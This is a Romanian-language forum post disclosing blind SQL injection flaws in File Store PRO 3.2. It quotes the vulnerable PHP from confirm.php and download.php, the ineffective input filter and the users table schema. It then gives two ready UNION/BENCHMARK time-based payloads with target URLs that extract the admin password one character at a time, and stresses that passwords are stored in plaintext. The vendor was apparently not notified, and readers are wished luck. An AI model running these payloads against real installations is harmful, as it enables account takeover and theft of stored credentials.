Jump to content
vladiii

File Store PRO 3.2 Blind SQL Injection

Recommended Posts

- Necesita drept de admin.

In /confirm.php:


$SQL="SELECT `".DB_PREFIX."users`.*, `".DB_PREFIX."file_list`.`filename`, `".DB_PREFIX."file_list`.`descript` ";
$SQL.=" FROM `".DB_PREFIX."file_list` LEFT JOIN `".DB_PREFIX."users` ON `".DB_PREFIX."file_list`.`user_id`=`".DB_PREFIX."users`.`id`";
$SQL.=" WHERE `".DB_PREFIX."file_list`.`id`='".$id."'";
if(!$mysql->query($SQL))
{
exit($mysql->error);
}
if($mysql->num<=0)
{
exit("Record not found");
}

Mai sus in cod avem:


if(isset($_GET["folder"]) && $_GET["folder"]!="") {
$folder=$_GET["folder"];
} else {
exit("Bad Request");
}
if(isset($_GET["id"]) && $_GET["id"]!="") {
$id=$_GET["id"];
} else {
exit("Bad Request");
}

// Validate all inputs
// Added by SepedaTua on June 01, 2006 - [url]http://www.sepedatua.info/[/url]
/********************** SepedaTua ****************************/

/* Fields:
$folder
$id
*/
$search = array ('@<script[^>]*?>.*?</script>@si',
'@<[\/\!]*?[^<>]*?>@si',
'@([\r\n])[\s]+@',
'@&(quot|#34);@i',
'@&(amp|#38);@i',
'@&(lt|#60);@i',
'@&(gt|#62);@i',
'@&(nbsp|#160);@i',
'@&(iexcl|#161);@i',
'@&(cent|#162);@i',
'@&(pound|#163);@i',
'@&(copy|#169);@i',
'@(\d+);@e');

$replace = array ('',
'',
'\1',
'"',
'&',
'<',
'>',
' ',
chr(161),
chr(162),
chr(163),
chr(169),
'chr(\1)');

$ffolder = $folder;
$fid = $id;

$folder = preg_replace($search, $replace, $folder);
$id = preg_replace($search, $replace, $id);

Filtrarea este deci de 2 bani... Trecand peste asta, sa vedem tabela cu useri:


Create table fstore_users (
id Integer(11) NOT NULL AUTO_INCREMENT,
real_name Varchar(128) ,
company Varchar(128) ,
address1 Varchar(128) ,
address2 Varchar(128) ,
city Varchar(128) ,
state Varchar(128) ,
postcode Varchar(128) ,
country Varchar(128) ,
telephone Varchar(128) ,
login Varchar(64) ,
password Varchar(64) ,
email Varchar(128) ,
level Integer(11) ,
confirm Char(1) DEFAULT 'N' ,
allow_upload Char(1) DEFAULT 'N' ,
subscription char(1) default 'N' ,
Primary Key (id)
);

In sintaxa SQL vom avea 19 coloane. *=17 + 1 + 1.

Sintaxa va fi:


' UNION SELECT IF (SUBSTRING(password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from fstore_users where login='admin


[url]http://site.xxx/confirm.php?folder=a&id=[/url][SQL]

Partea frumoasa este ca parolele sunt tinute ca plain text in baza de date. :D

Puteti downloada softul* de aici (versiunea trial, "full" costa 60$):


[url]http://webscripts.softpedia.com/script/File-Management-Perl/-1-File-Store-PRO-45963.html[/url]

*A aparut acum cateva zile, este nou.

Necesita magic_quotes_gpc = off. Nu l-am contactat pe cel care se ocupa cu acest script. Nici la milw0rm nu am trimis.

- Nu necesita drept de admin.

In /download.php:


if(!isset($_GET["sig"])) // direct download, no need to login
$MustLogin=1|2|4;
require_once("libs/header.php");
if(!isset($_GET["sig"])) // direct download, no need to login
$userlevel=$CurUser->getlevel();
$SQL="SELECT * FROM `".DB_PREFIX."file_list` WHERE `id`='".$fileid."'";
if(!$mysql->query($SQL))
{
exit($mysql->error);
}

$fileid este preluat prin $_GET si i se aplica aceeasi filtrare. Sintaxa:


' UNION SELECT IF (SUBSTRING(password, 1, 1)='b', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11 from fstore_users where login='admin


[url]http://site.xxx/download.php?id=[/url][SQL]

Bafta !

P.S. Scriptul este plin de blind sql injection !

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...